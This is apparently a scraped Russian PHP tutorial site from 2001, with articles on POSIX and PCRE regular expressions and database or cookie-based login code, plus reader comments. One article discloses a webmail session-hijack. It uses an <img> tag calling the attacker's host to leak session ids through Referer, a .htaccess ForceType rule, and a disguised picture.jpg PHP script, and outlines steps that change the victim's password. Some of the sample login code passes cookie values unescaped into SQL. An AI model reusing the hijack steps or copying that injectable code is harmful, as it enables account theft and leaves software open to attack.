PHP в деталях

         

Якоря


^привязка к началу строки
$привязка к концу строки

Эти символы должны стоять соответственно в самом начале и в самом конце строки. Чтобы интерпретатор корректно понял символ $ в конце, желательно добавить к нему обратный слэш:

ereg("foo\$", $bar)



Квантификатор


Это, как я уже писал, указатель количества заданных символов. Квантификатором можно указать как конкретное значение, так и пределы. Если число заданных подпадает под пределы квантификатора, фрагмент выражения считается совпавшим с разбираемой строкой. Синтаксис:

{<количество>}

либо

{<минимум>, <максимум>}

Если нужно указать только необходимый минимум, а максимума нет, просто ставим запятую и не пишем второе число: "{5,}" ("минимум 5"). Для наиболее часто употребляемых квантификаторов есть специальные обозначения:

*"звёздочка" или знак умножения{0,}
+плюс{1,}
?вопросительный знак{0,1}

На практике такие символы используются чаще, чем фигурные скобки.





Набор символов


.точкалюбой символ
[<символы>]квадратные скобкикласс символов ("любое из")
[^<символы>] негативный класс символов ("любое кроме")
-тиреобозначение последовательности в классе символов ("[0-9]" ? цифры)

Особо объяснять ничего не нужно. Разве что следующее: не пользуйтесь классом символов для обозначения всего лишь одного (вместо "[ ]+" вполне сойдет " +"). Не пишите в классе символов точку ? это ведь любой символ, тогда другие символы в классе будут просто лишними (а в негативном классе получится отрицание всех символов).



Регулярные выражения. Часть 2. POSIX.


DL
7.2.2001

Продолжаем наш разговор. Предыдущий выпуск был вводным, теорией. Сегодня как бы основная часть рассказа? стандарт POSIX. В следующем выпуске я опишу различия, вернее сказать надстройки стандарта совместимого с perl.

Итак, обо всем по порядку.



Регулярные выражения. Часть 3. PCRE.


DL
16.2.2001

И вот, наконец, серия выпусков про регулярные выражения подходит к концу. Поговорим о регулярных выражениях совместимых с Perl (Perl compatible regular expressions? PCRE).

Самое главное их преимущество перед POSIX, как мне уже подсказывают ? возможность "жадного" поиска. Вопросительный знак в PCRE выступает еще и как минимизатор квантификатора:

.*?

Найдет минимальную подходящую строку. Вроде бы ничего особенного? Нет, это очень особенная вещь. Например, какой пример я приводил в прошлом выпуске про печатную версию текста?

$text = ereg_replace("<a +href=([^>]+)>[^<]+</a>", "\\0 [\\1]", $text);

То есть, внури ссылки не должно быть тегов (например "<a href=...><b>...</b></a>"). Если же сделать так:

$text = ereg_replace("<a +href=([^>]+)>.*</a>", "\\0 [\\1]", $text);

Тогда мы получим... Правильно, весь текст между началом первой и концом последней ссылки.

Все проблемы снимает жадный поиск.

$text = preg_replace("/<as+href=(.*?)>.*?</a>/", "\\0 [\\1]", $text);

Программа подберет для всех ссылок минимальную подходящую строку, т.е. только до тега "</a>". Описывать значение такой особенности PCRE нет смыла ? оно огромное. :) Идем дальше.

Цифры теперь можно обозначить не как "[0-9]", а просто "\d". Не-цифры ("[^0-9]") как "\D". Очень удобно. Вот остальные обозначения:

\w[a-z0-9]
\W[^a-z0-9]
\s[ ]
\S[^ ]

Рекомендую заглянуть в выпуски про поиск ? там эти символы используются.

Строка шаблона, как вы уже заметили, начинается и заканчивается слэшами. Для чего нужен первый слэш, не знаю. Последний нужен для отделения шаблона от параметров. Параметры, которые я понял, таковы:

iрегистронезависимый поиск
mмногостроковый режим. По умолчанию PCRE ищет сопвадения с шаблоном только внутри одной строки, а символы "^" и "$" совпадают только с началом и концом всего текста. Когда этот параметр установлен, "^" и "$" совпадают с началом и концом отдельных строк.
sсимвол "." (точка) совпадает и с переносом строки (по умолчанию ? нет)
Aпривязка к началу текста
Eзаставляет символ "$" совпадать только с концом текста. Игнорируется, если установлен парамерт m.
UИнвертирует "жадность" для каждого квантификатора (если же после квантификатора стоит "?", этот квантификатор перестает быть "жадным").
<
Естественно, регистр в параметрах имеет значение. Остальное о них можно прочесть в [].

Теперь о функциях PCRE.

Функция [] в отличие от ereg ищет только первое совпадение. Если нужно найти все совпадения и как-то обработать их результаты (но не напрямую через ) [], нужно пользоваться []. Параметры этой функции те же.

Из полезного отмечу функцию [], которая вставляет слэши перед всеми служебными символами (например, скобками, квадратными скобками и т.п.), чтобы те воспринимались буквально. Если у вас есть какой-либо ввод информации пользователем, и вы проверяете его через PCRE, лучше перед этим закомментировать служебные символы в пришедшей переменной (мало ли что он там напишет, это ведь по определению злобный хакер).

Это все, что я могу сказать про регулярные выражения. Дальше ? только искусство комбинирования строк и написания алгоритмов.

Помнится, в одном из пришлых выпусков я описал рассыльщик почты на классах. Теперь я добавил туда хранение адресов в файлах и подтверждение подписки. Разумеется, различные проверки адресов, получение списка активных и тому подобное ? все работает на PCRE. К сожалению, времени на тестирование и доводку не было, рассыльщик "сырой".


Регулярные выражения (regexp). Часть первая


DL
6.2.2001

Обещал написать про регулярные выражения. Писал, писал, но что-то не то выходит. Слишком мелкая конкретика, пересказывание . Поэтому я решил, что необходимо (приняв степенную осанку) подготовить аудиторию, так сказать, начать с малого... (" - Дорогой, а где моя мама? - Теща уже на крыше.")

Начну с того, что php поддерживает два стандарта регулярных выражений: и, начиная с четвертой версии, . Первый стандарт используется и сервером Apache в mod_rewrite (см. ) а так же... MySQL в своих запросах (поищите слово "REGEXP" в руководстве по mysql, может сразу поймете, а я об этом позже расскажу). Второй, как ясно из названия, используется в системе perl. Два этих стандарта различаются несильно - во втором есть специальные символы, заменяющие наиболее часто используемые классы символов (например, цифры - \d, а буквы и цифры - \w) и специальные параметры шаблонов, позволяющие определять регистрозависимость поиска, привязку к концам строк и т.д (в функциях стандарта POSIX регистрозависимость реализована просто: есть функции ereg и ereg_eeplace, есть eregi (insensitive) и eregi_replace). В остальном же оба стандарта совместимы, а приемы написания шаблонов одинаковые.

Если вы работали с Norton/Volkov/Windows Commander или Far, то знаете такую вещь как wildcards. Например: delete c:\windows\*.* удаляет все файлы из указанной директории. :) В именах файлов особых изощрений делать не приходится, поэтому система простая: символ * означает любой набор символов, в том числе пустой (*.txt), символ ? - любой символ или никакого символа (document?.txt) и еще какие-то обозначения для букв и цифр (я, честно говоря, ими давно не пользовался, поэтому так не вспомню).

В регулярных выражениях подход иной. Система в первую очередь универсальна и должна уметь находить соответствия строк любым самым сложным запросам (странно, что я говорю "должна уметь", система ведь уже "умеет". Надеюсь читатель простит мне такие фразы, ведь они все относятся к уже работающей системе регулярных выражений.) Сейчас я назову термины, которые буду употреблять в дальнейшем, чтобы избежать растяжимых (в прямом и переносном смысле) определений.


Пользуйтесь функциями регулярных выражений только если вы не знаете точно, какая "там" строка. Из примеров: , в котором из строки поиска вырезаются служебные символы и короткие слова а так же вырезаются лишние пробелы (вернее, все пробелы сжимаются: " +" заменяется на один пробел). При помощи этих функций я проверяю email пользователя, оставляющего свой отзыв. Много полезного можно сделать, но важно иметь в виду: регулярные выражения не всесильны. Например, сложную замену в большом тексте ими лучше не делать. Ведь, к примеру, комбинация "(.*)" в программном плане означает перебор всех символов текста. А если шаблон не привязан к началу или концу строки, то и сам шаблон "двигается" программой через весь текст, и получается двойной перебор, вернее перебор в квадрате. Нетрудно догадаться, что еще одна комбинация "(.*)" означает перебор в кубе, и так далее. Возведите в третью степень, скажем, 5 килобайт текста. Получается 125 000 000 000 (прописью: сто двадцать пять миллиардов операций). Конечно же, если подходить строго, там стольких операций не будет, а будет раза в четыре-восемь меньше, но важен сам порядок цифр.

Итак, принципы, достоинства и недостатки описаны, теперь надо переходить к конкретике. Два (возможно, сразу следующих) выпуска будут посвящены двум стандартам регулярных выражений - POSIX и PCRE.


Статья относится к рубрикам:


. | (7)

архив | ссылки | форумы | что такое php
© , 2000-2002
© , 1999-2002



Структура


Сейчас будет сложное описание, мне оно и самому не нравится.

Эта вещь необходима для сложных запросов. Например, вам надо, чтобы в тексте были либо только маленькие буквы, либо только большие, либо только цифры. Класс символов "[a-zA-Z0-9]" не подходит. Тогда пишем такое:

if (ereg("[a-z]+|[A-Z]+|[0-9]+", $text)) ...

Вертикальная черта? знак "или" регулярных выражений (знака "и", естественно, не существует ? это и есть само регулярное выражение). Разделенные вертикальной чертой шаблоны в официальной документации называются альтернативными ветвями (это подразумевает ветвление, т.е. наличие вложенных альтернативных ветвей). Программа сравнивает со строкой все ветви (проходясь по их ряду слева направо), до первого совпадения (это важно учесть, если у вас сложное выражение со вложенными ветвями). Для разделения уровней и отделения этого дерева альтернатив от остального шаблона используются обычные скобки. Если те же большие/маленькие буквы/цифры надо искать внутри контейнера тегов:

if (ereg("<tag>([a-z]+|[A-Z]+|[0-9]+)</tag>", $text)) ...

Из сложного это, кажется, все. Теперь о более простом. Скобки по-научному называются subpattern (вложенный шаблон). И используются не только для сложных вариантов шаблонов, но и для гибкой замены фрагментов текста или получения их в переменную. К примеру, для печатной версии текста дублируем адреса ссылок текстом в скобках:

ereg_replace("<a href=([^>]+)>[^<]+</a>", "\\0 [\\1]", $text);

Первые скобки ? первый вложенный шаблон ? можно получить "на выходе" через обозначение "\n" (поскольку обратный слэш в php и многих других языках используется для спецсимволов, надо поставить перед ним еще один такой же, чтобы прогамма понимала его буквально). Под нулевым номером ? вся совпавшая строка. У себя в печатной версии статьи я не пишу ссылки сразу в тексте, а делаю их список в конце примерно так:


if (ereg("<a href=([^>]+)>([^<]+)</a>", $text, $match)) {

  for ($a=0;$a<sizeof($match[0]);$a++) {

    $b = $a+1;

    $text = str_replace($match[0][$a], $match[0][$a]." [$b]", $text);

    $match[1][$a] = "$b) ". $match[1][$a];

    };

  $text .= "<br><h2>Ссылки, использованные в выпуске:</h2>". implode("<br>", $match[1]);

  };

Функция ereg (и eregi), если ей указать в третьем параметре переменную, то туда будут записаны все подстроки в виде .

Это, собственно, все. Дальше нужно только уметь составлять шаблоны. Приведу несколько примеров.

1. (как я уже отметил, Apache работает со стандартом POSIX).

2. : из пользовательского поискового запроса делается sql-запрос. Если отбросить создание статистики поиска (сколько найдено всего, сколько по каждому слову), то получится, что необходимо всего 6-7 строк кода. Там же описана и подсветка слов в результатах поиска. Кстати, важное замечание: перед тем, как вырезать короткие слова из строки я заменяю пробелы между словами на двойные. Почему? Потому что совпадающие с шаблоном строки не должны наезжать друг на друга.

Объясню подробнее. Если в шаблоне нет никаких якорей, система проходится по тексту слева направо, и если найдено совпадение, кидает его в какие-то переменные, а затем перескакивает на следующий символ после совпавшего фрагмента. Мы ищем по шаблону "пробел, два непробела, пробел", а пробелы одиночные. Программа находит "пробел-короткое слово-пробел", заменяет это на один пробел, а затем перескакивает на... первую букву следующего слова. Это не пробел, поэтому даже если следующее слово тоже короткое, оно под шаблон не подойдет. Поэтому-то и надо предварительно заменить пробелы на двойные.

3. Как хранить новости в файлах и не бегать циклом по дате:

$handle=opendir($newsdir);

while ($file = readdir($handle)) {

  if (is_file($file) && ereg("^[0-9]{6}\.txt\$", $file))

    print ("<p align=justify><b>". ereg_replace("^([0-9]{2})([0-9]{2})([0-9]{2})\.txt\$", "\\1.\\2.20\\3", $file). "</b> ". implode("", file($file)). "</p>");

closedir($handle);

4. Проверка правильного написания email-а:

if (!eregi("^[a-z0-9\._-]+@[a-z0-9\._-]+\.[a-z]{2,4}\$", $email))

  print("Bad email: \"$email\"");

На этом все. В следующем выпуске ? стандарт PCRE, точнее дополнительные возможности, которые он предоставляет.


Автоматизация авторизации


Это нужно не только для упрощения работы с большим количеством пользователей и их большой "текучкой". Если нужно держать дополнительную информацию о пользователях, либо необходимо гибкое разграничение прав, лучше перенести авторизацию в базу.

Каждая страница закрытой территории подключает файл с вот таким кодом:

$result = mysql_query("SELECT * FROM person WHERE login='". preg_replace("/[^w_-]/","",$PHP_AUTH_USER). "' AND pass='". md5($PHP_AUTH_PW). "'");

if (@mysql_num_rows($result)!=1) {

  header("WWW-Authenticate: Basic realm=\"User area\"");

  header("HTTP/1.0 401 Unauthorized");

  print("Чтобы войти в пользовательскую часть сайта, надо ввести правильные имя и пароль. Если вы забыли пароль, вернитесь обратно и нажмите на ссылку \"забыл пароль\"n");

  exit();

};

$user_row = mysql_fetch_array($result);

В первой строке из логина удаляются все символы кроме букв, цифр, тире и символа подчеркивания. Затем проверяется количество полученных строк, и только если это одна строка, дается доступ. В остальных случаях пользователь увидит в броузере окно, предлагающее ввести логин и пароль. Если же пользователь вошел успешно, в массиве $user_row мы имеем всю информацию о нем.

Конечно же, пример, который я привёл, имеет ряд существенных недостатков. Не переписывайте его один-в-один, чтобы потом не пасть жертвой попыток подбора пароля, потому что

1. защиты от подбора здесь нет

2. если таблица пользователей большая, при подборе пароля злоумышленник, скорее всего, "завалит" базу

Надо будет привести пример. В следующем выпуске по этой теме выложу файлик с кодом.

И последний на сегодня способ ? хранение зашифрованных данных в куках.

Есть скрипт для входа, остальные подключают код, позволяющий только продолжить действия в закрытой области ? если куки истекут, или он выйдет оттуда, придётся возвращаться на страницу для входа.


Входной скрипт проверяет логин и пароль и выдает две куки. В первой ? логин, чтобы сразу опознать пользователя ( в базе поле логина, естественно, уникальное или даже ключевое). Во второй куке ? хэш от времени входа и пароля (для полноты конспирации я добавляю к этим строкам букву "Ы" ? тогда хэш подобрать почти невозможно :).

Все остальные программы подключают код, который делает следующее. Делает запрос в базу ? выбирает строку с полученным логином. Из этой строки берет поле "log_time" и пароль и делает из них, как и описано выше, хэш. Сравнивает его с тем, что получил, и если они совпадают, выдает новую куку хэша, опять же, от пароля, времени и буквы "Ы" и делает запрос в базу данных "UPDATE user SET log_time='...' WHERE login='$cookie_login'".

if (isset($HTTP_COOKIE_VARS[$cookie_login]) && isset($HTTP_COOKIE_VARS[$cookie_code])) {

  $login = $HTTP_COOKIE_VARS[$cookie_login];

  $code  = $HTTP_COOKIE_VARS[$cookie_code];

  $result = mysql_query("SELECT date_format(log_date,'%Y%m%d%H%i%s') as log_date1, pass, uid FROM user WHERE email='$login' AND log_date>'DATE_SUB(NOW(),INTERVAL 15 MINUTE)'");

  if (!mysql_error() && @mysql_num_rows($result)==1) {

    $log_time0 = time();

    $log_time1 = date("YmdHis", $log_time0);

    $log_time2 = date("Y-m-d H:i:s", $log_time0);

    $current_user = mysql_fetch_array($result);

    if (md5($current_user["pass"].$current_user["log_date1"].$md5letter) == $code) {

      mysql_query("UPDATE user SET log_date='$log_time2' WHERE uid=". $current_user["uid"]);

      setcookie($cookie_code, md5($current_user["pass"].$log_time1.$md5letter), time()+900, $site_path);

      $auth = true;

      }

    else

      unset($current_user);

    };

  };

Опять же, здесь нет никакой защиты от подбора и атаки на сервер (кстати, здесь можно вместо буквы "Ы" писать IP-адрес пользователя ? чтобы, например, соседу по офису нельзя было взять файл с кукой и зайти со своего компьютера).

Это всё, что я хотел сказать сегодня. Защита от подбора и сессии ? на следующей неделе.


Дверца в защите: почтовый веб-интерфейс


DL
6.3.2001

Сегодня я хочу рассказать уважаемой публике, как можно воровать адреса с некоторых веб-мейлов. Я сказал "как можно", а не "как нужно"! Успокойтесь, ничего особо ценного, как "инструментарий юного хацкера" в этой заметке не будет. Просто демонстрация возможностей PHP и недостатков (вопиющих недостатков!) некоторых почтовых веб-интерфейсов.

A. V. Komlin, [] Очень полезная статья.

Описывается сервис [].

Первое же тестирование выявило, что сервер подвержен простейшим ошибкам в фильтрации скриптов и других опасных тегов, но это оказалось не самым худшим.

Как уже было отмечено? во время работы пользователь идентифицируется по случайному многозначному идентификатору (id) , и разумеется (думал я) IP и/или cookies. Тест показал, что это не так! Узнав значение id на ящик оказалось возможным зайти с другого адреса, например после обрыва соединения! Более того не требовалось и поддержки "пирожков" (хотя узнать их при возможности выполнить скрипт проблемой не являлось).

Фактически, для несанкционированного просмотра ящика, достаточно себе поставить простейшую программу, регистрирующую обращения к 80-му (или другому указанному в адресе) порту, послать письмо, вставив в него нефильтруемый тег провоцирующий браузер на автоматическое обращение к машине атакующего (например с помощью ссылки на картинку, якобы расположенную на IP адресе взломщика <img src=http://адрес_машины_взломщика:порт/anyname.gif width=1 height=1>) и, дождавшись пока жертва зайдёт читать почту, посмотреть поле "Referer:" в заголовке пришедшего запроса!

----------

GET /anyname.gif HTTP/1.0

Referer: http://www.hotbox.ru/message.php?id=b[skip]14cf&index=6&array_index=5

Connection: Keep-Alive

...

--------

Пример java-утилиты для прослушивания порта.

[skip]

Атакующему осталось только отключить поддержку cookies в своём браузере, полностью набрать указанный в Referer адрес и параллельно "работать с почтой " (почитать письма ,установить пересылку...) пока хозяин не выйдет из неё.


Если злоумышленник не имеет постоянного соединения с сетью, он может воспользоваться дырками в фильтрации тегов, чтобы установить с помощью языков сценариев пересылку (для этого придётся отправить дополнительное письмо с кодом подтверждения).

На самом деле, можно поставить взлом ящиков на поток и не караулить жертв, сидя на линии.

Итак, мы имеем почтовый сервис, который

а) авторизует пользователей по технологии аналогичной [].

б) не делает проверки IP-адресов

в) не проверяет содержимое писем формата html

г) не требует подтверждений изменений системных настроек

А проверка содержимого должна заключаться помимо всего прочего и в безжалостной резке всех картинок, которые не идут в аттачменте, а вызываются с другого адреса. ВСЕХ КАРТИНОК, ВСЕХ!

Мы же, крутые хацкеры, используем Apache+PHP.

Итак, что мы делаем.

1. Отправляем по разным адресам почтового сервиса письма в формате html с тегом

<img src=http://www.server.com/picture.jpg>

например, с поздравительной открыткой. :)

2. В директории с открыткой кладем файл .htaccess следующего содержания:

<Files "picture.jpg">

ForceType application/x-httpd-php

</Files>

3. Вместо открытки пишем файл picture.jpg с таким кодом:

<?

header("Content-type: image/gif");

include("otkrytka.jpg");

4. А поздравительную открытку кладем именно в файл otkrytka.jpg.

Директива ForceType в .htaccess заставляет сервер обрабатывать файл .jpg как скрипт php, который по завершении работы выдает пользователю картинку, и узнать, что скрипт что-то там делал, невозможно. А скрипт делает простую вещь ? разбирает переменную , выкусывает оттуда идентификатор сессии и... в два приема лишает пользователя ящика. На машине жертвы не происходит ничего, все делает скрипт на сервере злоумышленника:

5. [] с веб-мэйлом, имитируя отправку формы системных настроек (имена переменных надо написать ручками), а именно изменение пароля на нужный злоумышленнику (и, например, уведомляет автора о том, что такой-то ящик захвачен). Дабы не вызвать подозрений, можно формировать нужные заголовки ? рефереры, user agent и т.п.



6. Открывает второй сокет, имитируя нажатие кнопки "выход".

* Сокет - сетевое соединение. В данном случае точно такое же, как и соединение между веб-сервером и браузером.

ВСЕ! ПОЛЬЗОВАТЕЛЬ ОСТАЛСЯ БЕЗ СВОЕГО ЯЩИКА, не успев как следует рассмотреть картинку. Следующее, что он увидит ? сообщение типа "неправильный пароль, войдите еще раз".

Получается, что дырка в защите такого почтового сервиса (не Hotbox.ru, замечу, там что-то все-таки закрыто) на самом деле ? целая дверь. Сочетание передачи идентификатора сессии через ссылку (т.е. доступного кому угодно через поле Referer), а не через cookie и отсутствия проверки IP-адреса дает злоумышленнику возможность быстро и легко перехватить управление ящиком. Проверка же картинок здесь не спасает ? ничто не мешает вставить в текст письма ссылку, нажав на которую, пользователь передаст скрипту идентификатор сессии. Стоят ли удобства таких жертв? Думаю, нет.


Генерация HTTP запросов


Антон Калмыков (Antonio)
26.3.2001

В последнее время я все более часто наблюдаю в основном форуме РНРClub вопросы на тему создания POST и GET запросов, а так же вопросы на тему: "Как мне посредством функции header сформировать POST запрос". Я считаю, что уже давно назрела необходимость расставить точки над "и" в использовании данной технологии, поскольку начинающие программисты просто не понимают принципов работы веба, как такового. Итак, начнем наше путешествие по миру протокола HTTP.



Клиент и сервер


Чудес в мире, а тем более в мире программизма и интернета не бывает! Усвойте это как незыблемую истину. И, если программа не работает или работает не так как хочется, то, значит, скорее всего, она либо написана не правильно, либо содержит ошибки.

Итак, как же все-таки браузер просит сервер прислать ему хоть что-нибудь? Да очень просто! Надо только немного расслабиться и начать получать удовольствие от процесса :-)



Комментарии к статье ""


6.3.2001 18:58  Slach  []
Очень прикольная статья...

Половина web-mail ящиков... Работает на основе к.л. фриварных компонентов... например очень распостранен NeoWebMail или Horde IMP...

Действительно реально работающий способ ;)
Ответ DL:

Я все удивляюсь, что народ изобретает яваскрипты и апплеты для прослушивания портов, когда все, что нужно взломщику, передается в открытом виде! :)
6.3.2001 20:34  Borman  []
Знаю одну систему онлайн магазинов, где всем желающим дают бесплатно открыть в нем свой отдел (на время или вроде того):)
Ответ DL:

Наверное, думали сделать удобнее покупателям. Но это же бред. :) ()
6.3.2001 20:35  Borman  []
Если дыра - значит нора, если нора, значит Rabbit :) (VinniPooh)
7.3.2001 11:22  ai
а в целом никто даже не представляет, что можно сделать с серверами "ведуших н-ских" провайдеров работающих на фриваре
Ответ DL:

Не знаю, не знаю. Фривар этот, кажись, массового пользования, да и с деньгами связан. А вот почтовая система у каждого сервиса своя собственная.
10.3.2001 20:09  Constant  []
Ну не знаю. Я в свое время ради интереса что-то подобное делал (имеется ввиду защита). Делалось проще, генерился id по IP, паролю и чему-то еще - и во время генерации страницы - этот id сверялся и генерился заново и заносиля в базу. Такой способ был жесток для пользователя (при попытке рефреша он вылетал на логин) - но действовал - пока никто не сломал :))
Ответ DL:

В форуме PHPClub обсуждается нечто похожее - я там тоже свой метод предложил. Две куки. В одной логин, в другой - хэш от времени загрузки страницы, хэша пароля и буквы "Ы". Программа лезет в базу, берет запись с таким логином, составляет хэш и сверяет его с полученным из куки.

А! О! IP-то не проверяется!!! На hackzone же пишут, что яваскрипт может и куку выкусить. А значит, ее можно передать злоумышленнику. Да, проверку IP надо добавить. :)
11.3.2001 00:00  lev  []
НУ И ЧЕГО?

Дыра стара как мир!
Ответ DL:

А я взлом автоматизировал :] Не, я не претендую на первооткрывание этого дела.
18.3.2001 00:04  keeper  []
А я пробовал такое но на основе SpyLog - там есть просмотр реферреров, откуда пришли на страничку. Создаем hello world (где-нибудь на народе), втыкаем в него spylog, рассылаем сслыку на страничку по бесплатным e-mail-ам. Потомо смотрим статистику странички.

Но это для бедных - кто не хочет возиться с настройкой своего сервака.
Ответ DL:

Фокус заключается в том, что ящик забирается у пользователя в считанные секунды с момента обращения к "фотке" или нажатия на ссылку.
<
table width="100%" cellpadding="0" cellspacing="0" >18.3.2001 02:23  batva  []
Мне по барабану.

Во- первых мой гуард режет Referer

Во-вторых я батом почту беру.
Ответ DL:

Так разговор-то не про Бат :)
19.3.2001 04:23  alex  []
А что делать, если в базу необходимо писать URL картинки, а потом отображать ее в броузере. И как защититься если под адресом картинки (как www.site.com/image.gif) находиться какой нибудь перл-скрипт или еще что-то?
Ответ DL:

Держать ID сессий в куках - пусть лучше пользователи их включают, чем потом жалуются на взлом. А иначе никак не защититься - входите, берите, что хотите.
24.3.2001 23:20  fish  []
Интересная идея о получении реферра, многие порно сайты, вернее их контент зашишен лишь проверкой рефера, каким образом можно формировать заголовок http запроса с помошью php? это конечно тот еще вопрос, но к зашите имеет отношение :) нужно как уже все наверное поняли для линкования картинок с платников :)
Ответ DL:

вот как раз об этом - вышел следующий выпуск :)
28.3.2001 18:39  AK  []
DL> яваскрипт может и куку выкусить.

Как это?! Как я понимаю теорию, куки отдаются только на тот хост, с которого были записаны; т.е. если запрос http://main/index.php, в котором setcookie ('name', 'value'), то далее на обращения к index.php броузер пользователя будет отсылать этот кук. Но если я внутри index.php поставлю картинку с другого хоста (например: http://hacker/image.gif), то броузер не будет отправлять вместе с запросом мой кук, т.к. хост другой. Хорошо, если попытаться вместо image.gif подставить JavaScript, то тоже ничего не получится. Он просто не будет обработан, т.к. броузер по тэгу img ожидает получить картинку, а не текст. Вообще, как JavaScript может выкусить кук другого хоста? Я теряюсь в догадках. Где дырка? :)
6.4.2001 17:01  kostysh  []
имхо, лучше хттп-авторизации ничего нет... делал я как-то систему управления пользовательсскими сессиями для одного эл.м., так я там именно ее и использовал

для авторизации пользователя, в куках только номер сессии хранил, для пользовательского

баскета, а в таком случае, даже если тебе удалось узнать номер сесии, ты все равно в профиль пользователя без пароля не войдешь... вот так
<


table width="100%" cellpadding="0" cellspacing="0" >4.4.2001 21:52  Пока!
Прошу прощения, за то, что написано ниже, никого не хотел обидеть, есть один вопрос по существу существует ли шрифт Veranda? Если да, то где его можно взять, спасибо.
Ответ DL:

Стандарнтый шрифт Windows (или MS Office 97), кажется.<


table width="100%" cellpadding="0" cellspacing="0" >18.5.2001 15:52  Antonio  []
Почитай вторую главу генерации запросов, там я про ПОСТ написал<

Комментарии к статье ""


15.3.2001 08:46  Slach  []
ADODb не "переписанный из ASP в PHP"...

Просто там иерархия объектов взята из ADO... (ActiveX Data Objects)

который в свою очередь не есть часть ASP, просто он в нем используется...
Ответ DL:

ясно. спасибо :)
19.3.2001 07:22  Antoxa  []
Посмотри как у Сережи Афонина. У него еще красивее :) ничего лишнего.
19.3.2001 23:44  Sad Spirit
Мне кажется, что четырьмя из пяти описанных классов пользуются только их разработчики... Плачут, плюются, но пользуются, ибо марку держать надо. ;]

Что касается реально годных к употреблению продуктов, то есть PHPLIB (вернее, практически уже "был"), Metabase, PEAR DB (у к-рого есть шансы стать стандартным для PHP).
Ответ DL:

Тема не закрыта, будут продолжения. А я, так почти ничем не пользуюсь из того, что тут выложил (новостная лента, рассыльщик).
27.3.2001 15:42  Den
Спасибо за информацию. К сожалению для меня она несколько опоздала :(

Прии переносе ASP в PHP я просто написал все нужные мне классы, причем заняло это от силы час
Ответ DL:

Не, это не такая проблема написать собственный класс. Нет лишних функций и операций.
24.4.2001 13:39  versus
люди а что скажете о классе абстракт дб на том же хот скриптс ком .... по нему все оценки очень высокие
Ответ DL:

Их там несколько штук, абстрактных классов. Два из них, кажется, именно оттуда взял.
архив | ссылки | форумы | что такое php
© , 2000-2002
© , 1999-2002

table width="100%" cellpadding="0" cellspacing="0" >8.4.2001 11:17  Sergey  []
Всем Привет!!!! Хочу узнать все о хакерстве . Помогите!!! и еще жилательно как выгнать не приятеля из чата? Пожалуйста помогите!!!!
Ответ DL:

АЧЁМ БАЗАР, ПОЦАН! КАНЕЧНО ПАМОЖЕМ!<


table width="100%" cellpadding="0" cellspacing="0" >10.4.2001 12:08  tony2001  []
to DJ:

блин, не удобно отзывы читать, когда они в обратном порядке... может лучше будет ORDER BY date ASC ? =))

пока не добрался до последнего, так и не понял, о чем писал Vitaliy =(

Кстати, есть предложение:

в хеадере форума поставить ссылочку на detail - для того чтобы человек, разобравшийся в чем-то мог написать статейку на detail.

Между прочим, если раньше баннер висел, то теперь фиг найдешь хоть ссылку на detail с форума...

С уважением.
Ответ DL:

Сделаю настройку, как на spectator.ru.<


table width="100%" cellpadding="0" cellspacing="0" >23.6.2001 03:16  Dolce  []
Tak vsje taki kak mozhno zaputat' chuzhoi server poslav emu ne tot referer... tak chto li?..
prosto interestno... seichas ne mogu testirovat', internet cafe kak ni kak...<

Комментарии к статье ""


21.3.2001 18:20  WEBoy  []
Привет! Это конечно интересно, но ни чего нового ;(. Я вот хочу спросить, может Вы знаете, можно ли авторизировать юзера через свою форму если директория закрыта .htaccess, то есть в скрипте подставить данные в переменные $PHP_AUTH_... Подобные вопросы встречал на многих буржуйских и наших форумах, но ни где небыло ответов.

зы: В большинстве текстов по защите написано, что если есть возможность авторизации средствами сервера, то не нужно изобретать лисапеды. И кстати по поводу "Возможность увидеть содержимое файлов .htaccess и .htpasswd" в апаче по умолчанию стоит директива запрещающая отдавать файлы начинающиеся с .ht
Ответ DL:

Вопрос, можно ли так авторизовывать, слышал, ответа - нет. Про лисапеды знаю и честно написал об этом. Про ".ht" тоже знаю.
28.3.2001 12:30  Kventin  []
С нетерпением жду продолжения! ...а каким образом буква "Ы" усложняет подбор хеша?
Ответ DL:

Её можно заменить в любой момент. И подборщик не будет знать, что там. Кстати, вместо просто одной буквы можно легко написать бессмысленну комбинацию из 10-20 букв/цифр. И такую фиг кто подберёт. Врочем, это не панацея защиты.
28.3.2001 16:36  Vitaliy  []
Re:WEBoy

Дело в том, что если ты Дело в том, что файлы .htaccess и форма не совместимы, по двум простым причинам

1. переменные $PHP_AUTH_USER,$PHP_AUTH_PW нельзя поменять из скрипта.

2. чтобы их установить надо послать юзеру BasicRealm, что ессно не есть форма.

Так что, или так или так..

Удачи.
4.4.2001 21:39  Привет!  []
Ребяяата!!! Я стока всего знаю, ооой... ик

А Вы Знаете? Представляете!!! , оказывается можно ик...

В общем представьте себе, что на самом деле можно из ик...

Ну из этого..., как его? А!!! PHP4, обращаться к Муське, во! ик...

А еще говорят..., неее, я точно знаю ик..., просто не совсем уверен ик...

Что из PHP3 тоже можно ик.... Я правда еще точно не знаю, кхм

Кто такая Муська и как именно к ней обращаться, но попробую спросить у одного ик... Товарища, вот, ну так вот, о чем это я? А! Я еще знаю!!! Ой, уже забыл ик...

ик... ик... совсем забыл, ик... Я обязательно вспомню! И напишу!

Если дадут... еще раз, ну написать, вот

«† ®™ ‰ Њ ѓ є ±° ~$»
Ответ DL:

ПРИВЕТЫ!!!!! А ЧЁ Ж ТЫ НА ТРИ ДНЯ АПАЗДАЛ?! МЫ БЫ ПАПРИКАЛЫВАЛИСЯ!
<
table width="100%" cellpadding="0" cellspacing="0" >9.4.2001 12:14  Dimka  []
А если у меня прокси и за ним локалка спрятана ?

Ведь тогда под одним IP куча народа - выходит, что первого он впустит, а вот второго...;-(<


table width="100%" cellpadding="0" cellspacing="0" >25.4.2001 12:39  Petrovich  []
ИМХО, вместо буквы Ы использовать IP посетителя (вариант forvarded_for, если есть). И подбор затрудняется, и при заходе с др. адреса кого-то с таким хешем в то же время - отлуп.

( У ИЕ есть такая бага - можно получть куку с известным именем даже (!!!) на другом сервере (не на том, кто её дал.))
Ответ DL:

Да, действительно. Так вообще никто не догадается :)<


table width="100%" cellpadding="0" cellspacing="0" >28.6.2001 14:21  kauk  []
Очень интересно заменились ampersand и param - на знак параграфа и букву m.

Надо что-то в софте поменять, чтобы он как-то поумнее менял entities и не заменял одинарный кавычки и прочие символы на их эквиваленты. Это, конечно, не к статье а так...

А статья мне помогла, спасибо автору.<

Комментарии к статье ""


27.3.2001 01:30  Смоляное Чучелко  []
Имхо, referer лучше бы везде писать с одной r -- понятнее будет.
Ответ DL:

Точно. Ошибка вышла.
27.3.2001 12:00  Serge V. Larionov  []
А гиде здесь PHP?
